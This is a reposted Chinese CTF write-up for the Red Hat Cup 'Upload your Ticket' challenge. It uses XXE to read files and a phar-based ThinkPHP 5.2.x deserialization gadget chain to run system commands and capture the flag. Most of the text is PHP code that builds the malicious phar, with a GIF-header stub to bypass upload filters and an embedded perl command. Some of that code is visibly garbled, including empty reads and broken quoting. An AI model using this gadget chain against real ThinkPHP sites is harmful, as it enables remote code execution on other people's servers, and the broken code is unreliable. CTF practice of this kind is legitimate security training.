




红帽杯linux开发者大赛,红帽杯——Upload your Ticket

转载

兔仔与狗  于 2021-05-15 18:19:18 发布  61  收藏

文章标签: [红帽杯linux开发者大赛](#)

Upload your Ticket

进入题目后填充任意账号密码进行登陆

在Ticket Form中提交数据, 抓包, 这里发送xml数据, 可以进行xml注入读取文件

配合thinkphp框架结构读取路由信息, 定位功能点代码

上传的文件后缀必须为xml, 但文件内容没有进行限制, 这里可以配合phar://进行thinkphp5.2.x反序列化漏洞利用, 在执行系统命令过/readflag时, 参考了网上996game的writeup

test.phar文件构造

在豹师傅指导下成功构造phar文件

```
namespace think\process\pipes {
```

```
class Windows{
```

```
private $files = [];
```

```
function __construct($files)
```

```
{
```

```
$this->files = $files;
```

```
}
```

```
}
```

```
}
```

```
namespace think\model\concern {
```

```
trait Conversion{
```

```
protected $visible;
```

```
}
```

```
trait Relationship{
```

```
private $relation;
```

```
}
```

```

trait Attribute{

private $withAttr;

private $data;

}

}

namespace think {

abstract class Model{

use model\concern\RelationShip;

use model\concern\Conversion;

use model\concern\Attribute;

function __construct($closure)

{

$this->data = $closure;

$this->relation = [];

$this->visible= [];

$this->withAttr = array("huha"=>'system');

}

}

}

namespace think\model {

class Pivot extends \think\Model{

function __construct($closure)

{

parent::__construct($closure);

}

}

}

namespace{

@unlink("test.phar");

$phar = new Phar("test.phar"); //后缀名必须为phar

$phar->startBuffering();

```

#绕过很大一部分的上传检测

```
$phar->setStub("GIF89a."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头
```

```
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
```

```
//类
```

```
$pivot = new think\model\Pivot(["huha"=>'perl -e \'use warnings;use strict;use IPC::Open2;$| = 1;chdir ("/");my $pid = open2(*out2, *in2, ".readflag") or die;my $reply = ;print STDOUT $reply;$reply = ;print STDOUT $reply;my $answer = eval($reply);print in2 " $answer ";in2->flush();$reply = ;print STDOUT $reply;print STDOUT $reply;$reply = ;print STDOUT $reply;$reply = ;print STDOUT $reply;\']);
```

```
$windows = new think\process\pipes\Windows([$pivot]);
```

```
$phar->setMetadata($windows); //将自定义的meta-data存入manifest
```

```
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
```

```
$phar->stopBuffering(); //签名自动计算
```

```
}
```

上传文件test.phar文件, 抓包修改文件名为test.xml, 获取路径

利用phar伪协议进行反序列化执行系统命令

FLAG值:

```
flag{3ff32148-e229-41fd-b7b9-d09e76d35daf}
```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)